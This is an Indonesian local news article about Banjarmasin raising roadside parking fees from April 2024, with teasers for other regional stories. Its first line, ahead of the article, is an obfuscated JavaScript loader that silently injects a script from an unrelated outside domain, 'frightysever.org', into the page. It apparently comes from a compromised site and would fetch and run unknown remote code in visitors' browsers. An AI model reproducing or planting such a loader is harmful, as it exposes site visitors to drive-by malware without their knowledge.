(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Kota (Pemko) Banjarmasin melalui Dinas Perhubungan (Dishub) Kota Banjarmasin dalam waktu dekat akan menaikan tarif retribusi parkir.
Dari player sosialisasi kenaikan tarif retribusi parkir yang dibagikan akun instagram resmi UPTD Parkir Dishub Banjarmasin, kenaikan tarif bervariasi tergantung jenis kendaraan.
Parkir kendaraan roda dua yang awalnya Rp2.000 naik Rp1.000 dan menjadi Rp3.000.
Kemudian kendaraan roda empat seperti minibus, sedan, pikap, dan sejenisnya dari yang awalnya hanya Rp3.000 naik sebesar Rp2.000 menjadi Rp5.000.
Baca juga: Bawa Kabur Uang Honor 126 Petugas KPPS Batu Piring, MH Sisakan Rp17 Juta
Begitu juga kendaraan truk, truk mini, maupun bus naik menjadi Rp5.000.
Sementara untuk kendaraan truk ukuran berat tarif parkir Rp8.000 dan kenderaan tempelan Rp10.000.
Kenaikan tarif parkir di Kota Banjarmasin tersebut tak langsung diberlakukan awal tahun ini.
Baca juga: Komplotan Perompak Kapal TB Royal 27 di Tanjung Selatan Diringkus Ditpolairud Polda Kalsel
Dishub Banjarmasin melalui UPTD Parkir akan melakukan sosialisasi selama sekitar tiga bulan, sebelum penyesuaian tarif tersebut diberlakukan.
“Berlaku mulai 1 April 2024 di seluruh objek retribusi parkir di Kota Banjarmasin,” tulis akun resmi UPTD Parkir Dishub Banjarmasin, Kamis (16/2/2024).
Kepala Dishub Kota Banjarmasin Slamet mengatakan, penyesuaian tarif parkir didasarkan Perda Nomor 2 Tahun 2016 dan merujuk Perda Nomor 8 Tahun 2011 tentang Retribusi Parkir di Tepi Jalan Umum dan Tempat Khusus, dimana retribusi parkir paling lama 3 tahun harus dievaluasi.
“Jadi mulai 2016 sampai sekarang 2024, artinya Banjarmasin sudah 7 tahun tidak menyesuaikan (menaikan) tarif parkir,” ujarnya.
Baca juga: Menyulap Dinding Kusam Kawasan “Bandarmasih Tempo Doeloe” Lewat Kompetisi Mural dan Grafiti
Lanjut Kadishub, semestinya penyesuaian tarif sudah diberlakukan sejak awal Januari 2024 sesuai Perda Nomor 15 Tahun 2023. Namun merujuk pada Undang-Undang Nomor 1 Tahun 2022 tentang HKPD, maka penyesuaian tarif ditunda dan akan dilakukan sosialisasi selama tiga bulan kedepan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.